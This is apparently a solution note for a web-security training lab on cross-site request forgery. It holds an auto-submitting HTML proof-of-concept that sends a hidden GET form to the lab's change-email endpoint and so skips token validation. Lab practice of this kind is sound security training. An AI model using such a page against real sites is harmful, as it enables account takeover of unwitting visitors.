02 - CSRF where token validation depends on request method
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="https://0aef00fa03803015822483d6000f0099.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="zxxxxx@test.com" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>